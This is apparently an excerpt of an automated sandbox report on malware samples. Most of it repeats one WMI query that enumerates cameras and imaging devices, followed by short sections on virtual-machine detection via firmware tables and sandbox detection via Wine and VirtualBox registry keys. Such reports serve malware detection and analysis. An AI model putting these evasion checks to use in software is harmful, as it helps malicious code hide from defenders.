Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
